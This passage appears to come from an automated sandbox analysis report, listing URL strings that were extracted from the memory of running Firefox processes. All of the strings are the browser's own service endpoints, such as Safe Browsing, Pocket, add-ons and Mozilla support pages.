Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sremoveSubmitCheckboxesForSameCrash
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FEDF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-1.js
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-1.jsexperiment-apis/matchPatterns.js/shims/moch
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comnetwork.proxy.backup.socksbrowser.urlbar.openViewOnFocusaccount-conne
Source: firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000003.2399485724.000001F402FE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addonCheckerService:stopCheck
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelmoz-extension://2461c90f-0bc1-4cdf-a1d3-efdcf6e0
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000003.2279118010.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2432050956.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F4019EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2479271245.000001F4010DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757465880.000001F4010D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2283853449.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpA
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
